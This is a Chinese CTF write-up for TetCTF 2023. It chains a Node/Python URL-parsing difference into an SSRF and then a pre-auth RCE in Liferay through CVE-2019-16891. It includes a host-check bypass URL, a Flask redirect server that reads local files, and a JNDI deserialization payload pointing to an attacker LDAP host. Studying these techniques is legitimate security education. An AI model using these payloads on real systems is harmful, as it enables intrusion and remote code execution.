TetCTF2023&Liferay(CVE-2019-16891)(Pre-Auth RCE)

WriteUp 3周前 admin
109 0 0
这周末打了这个比赛挺不错的一个,但是主要还是写一下这题,其他题虽然也有难度但是并不值得我记录

正文

首先这题被拆分为了两个部分,觉得两部分都挺有意思的,就单独讲讲

part1主要是利用node与python的requests的差异性绕过host限制

part2主要是仅仅通过一个GET触发Liferay的RCE

关于题目备份也是放在了我的Git里:https://github.com/Y4tacker/CTFBackup/tree/main/2023/TetCTF

Part1

首先一眼看到这个路由

JAVASCRIPT

1
app.post('/api/getImage', isAdmin, validate, async (req, res, next) => {

这里面有个鉴权操作,要求密码是Th!sIsS3xreT0但是长度不能大于12,很常规基础的考点了,通过数组就行?password[]=Th!sIsS3xreT0

JAVASCRIPT

1
2
3
4
5
6
7
8
9
10
const isAdmin = (req, res, next) => {
    try {
        if (req.query.password.length > 12 || req.query.password != "Th!sIsS3xreT0") {
            return res.send("You don't have permission")
        }
        next();
    } catch (error) {
        return res.status(500).send("Oops, something went wrong.");
    }
}

接着来看看剩下的代码

JAVASCRIPT

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
app.post('/api/getImage', isAdmin, validate, async (req, res, next) => {
    try {
        const url = req.body.url.toString()
        let result = {}
        if (IsValidProtocol(url)) {
            const flag = isValidHost(url)
            if (flag) {
                console.log("[DEBUG]: " + url)
                let res = await downloadImage(url)
                result = res
            } else {
                result.status = false
                result.data = "Invalid host i.ibb.co"
            }

        } else {
            result.status = false
            result.data = "Invalid url"
        }
        res.json(result)
    } catch (error) {
        res.status(500).send(error.stack)
    }
})

这里IsValidProtocol要求只能是http/https,isValidHost要求host只能是i.ibb.co这个图床网站(使用urlParse解析)

之后如果校验成功则会调用python去下载

PYTHON

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
f __name__ == '__main__':
    try:
        if (len(sys.argv) < 2):
            exit()
        url = sys.argv[1]
        headers = {'user-agent': 'PythonBot/0.0.1'}
        request = requests.session()
        request.mount('file://', LocalFileAdapter())

        # check extentsion
        white_list_ext = ('.jpg', '.png', '.jpeg', '.gif')
        vaild_extension = url.endswith(white_list_ext)

        if (vaild_extension):
            # check content-type
            res = request.head(url, headers=headers, timeout=3)
            if ('image' in res.headers.get("Content-type")
                    or 'image' in res.headers.get("content-type")
                    or 'image' in res.headers.get("Content-Type")):
                r = request.get(url, headers=headers, timeout=3)
                print(base64.b64encode(r.content))
            else:
                print(0)
        else:
            print(0)

    except Exception as e:
        # print e
        print(0)

正常情况来说如果我们使用:http://evil.com@i.ibb.co/1.png

node和python经过parse后访问的其实也都是http://i.ibb.co/1.png

那有没有什么办法让node和py行为相异,python的requests库是基于urllib实现的,这里我们看到去区分scheme, authority, path, query, fragment等部分是靠正则实现的TetCTF2023&Liferay(CVE-2019-16891)(Pre-Auth RCE)

对应的正则

PLAINTEXT

1
2
3
4
5
6
7
8
URI_RE = re.compile(
r"^(?:([a-zA-Z][a-zA-Z0-9+.-]*):)?"
r"(?://([^\\/?#]*))?" 靠这些符号决定authority部分边界
r"([^?#]*)"
r"(?:\?([^#]*))?"
r"(?:#(.*))?$",
re.UNICODE | re.DOTALL,
)

因此如果最终我们使用的url是

http://evil.com1232\@i.ibb.co/1.png

node部分则会正确解析出host为i.ibb.co

python部分由于遇到了\字符其实是把后面整体当成了path,最终访问的url其实是

http://evil.com1232/\@i.ibb.co/1.png

如图测试

TetCTF2023&Liferay(CVE-2019-16891)(Pre-Auth RCE)

在这个基础上我们可以配合flask简单写个解析这个畸形路径的请求并重定向到指定位置即可完成ssrf

PYTHON

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from flask import Flask,request
from urllib.parse import quote
import requests


app = Flask(__name__)


@app.route('/\\@i.ibb.co/1.png')
def hello_world():
    return "login fail", 302, [("Content-Type", "image"), ("Location", "file:///usr/src/app/fl4gg_tetCTF")]
    # return"23333"

if __name__ == '__main__':
    app.run(host="0.0.0.0",port="1239",debug=False)

Part2

第二部分是这个Liferay的一个前台RCE,看DockerFile可以看到这个版本

TetCTF2023&Liferay(CVE-2019-16891)(Pre-Auth RCE)

网上较多的是关于cve-2020-7961的内容,也就是靠/api/jsonws/xxxx去实现的RCE

然而这里有两个限制

第一个,从part1部分我们能得到一点,我们的SSRF只能触发一个GET请求

第二个,这里对路由做了些限制,也就是说我们的api相关路由都不能访问了咋办呢?

TetCTF2023&Liferay(CVE-2019-16891)(Pre-Auth RCE)

关于这个我在网上搜索发现出题人曾发了一个这个文章

https://vsrc.vng.com.vn/blog/liferay-revisited-a-tale-of-20k/

在文章最后提到了这点验证了我们的猜想,同时也知道了大概也是和json反序列化有关

TetCTF2023&Liferay(CVE-2019-16891)(Pre-Auth RCE)

之后的话又看到一篇文章

https://dappsec.substack.com/p/an-advisory-for-cve-2019-16891-from

这里像我们展示了一个新的路由

TetCTF2023&Liferay(CVE-2019-16891)(Pre-Auth RCE)

从struts-config.xml当中可以看到对应的全类名

PLAINTEXT

1
<action path="/portal/portlet_url" type="com.liferay.portal.action.PortletURLAction" />

这个类在/liferay-portal-6.1.2-ce-ga3/tomcat-7.0.40/webapps/ROOT/WEB-INF/lib/portal-impl.jar!/com/liferay/portal/action/PortletURLAction.class

从这里也可以看出是GET传参数也可以

TetCTF2023&Liferay(CVE-2019-16891)(Pre-Auth RCE) TetCTF2023&Liferay(CVE-2019-16891)(Pre-Auth RCE)

再往下看,可以得知这里是可以触发liferay的json反序列化

TetCTF2023&Liferay(CVE-2019-16891)(Pre-Auth RCE)

这里我们挑重点来讲,最终反序列化会触发org.jabsorb.JSONSerializer#unmarshall

这里他会调用getSerializer去选择一个能满足反序列化该javaCLass的类

TetCTF2023&Liferay(CVE-2019-16891)(Pre-Auth RCE)TetCTF2023&Liferay(CVE-2019-16891)(Pre-Auth RCE)

首先遍历serializableMap看有没有该javaClass直接对应映射的处理,这个serializableMap当中有很多,但大多都是一些基础类型的类的处理

TetCTF2023&Liferay(CVE-2019-16891)(Pre-Auth RCE)

没有的话它会继续遍历serializerList看看有没有能处理该类的,也就是其canSerialize返回true

TetCTF2023&Liferay(CVE-2019-16891)(Pre-Auth RCE)

我们只需要关注两个即可,其他的也是一些基础类型之类的不需要过多关注

一个是com.liferay.portal.json.jabsorb.serializer.LiferaySerializer

JAVA

1
2
3
4
5
6
7
8
9
10
public boolean canSerialize(Class clazz, Class jsonClass) {
        Constructor constructor = null;

        try {
            constructor = clazz.getConstructor();
        } catch (Exception var4) {
        }

        return Serializable.class.isAssignableFrom(clazz) && (jsonClass == null || jsonClass == JSONObject.class) && constructor != null;
    }

其对应的unmarshall方法当中,我们可以很清楚的看到只是通过一些反射去对class对应字段赋值

TetCTF2023&Liferay(CVE-2019-16891)(Pre-Auth RCE)

另一个是org.jabsorb.serializer.impl.BeanSerializer

JAVA

1
2
3
public boolean canSerialize(Class clazz, Class jsonClazz) {
        return !clazz.isArray() && !clazz.isPrimitive() && !clazz.isInterface() && (jsonClazz == null || jsonClazz == JSONObject.class);
    }

其对应的unmarshall方法当中,则是调用对应的setter方法,这符合我们的要求

TetCTF2023&Liferay(CVE-2019-16891)(Pre-Auth RCE)

这两个类处理最大的区别就是javaClasss是否继承了Serializable接口,因此我们找恶意类条件就是不能继承Serializable接口,同时set方法有恶意操作,这种时候就去看fastjson和jackson的黑名单就可以了

比如jackson里面黑名单里的一个类刚好在我们liferay当中

TetCTF2023&Liferay(CVE-2019-16891)(Pre-Auth RCE)

同时其set方法有一个能直接触发jndi的

TetCTF2023&Liferay(CVE-2019-16891)(Pre-Auth RCE)

最终我们把这串代码放进之前的恶意flask触发重定向后,通过jndi攻击内网服务

PLAINTEXT

1
http://admin-portal:80/c/portal/portlet_url?parameterMap={"javaClass":"org.hibernate.jmx.StatisticsService","sessionFactoryJNDIName":"ldap://ip"}

 

版权声明:admin 发表于 2023年1月6日 下午9:32。
转载请注明:TetCTF2023&Liferay(CVE-2019-16891)(Pre-Auth RCE) | CTF导航

相关文章

暂无评论

暂无评论...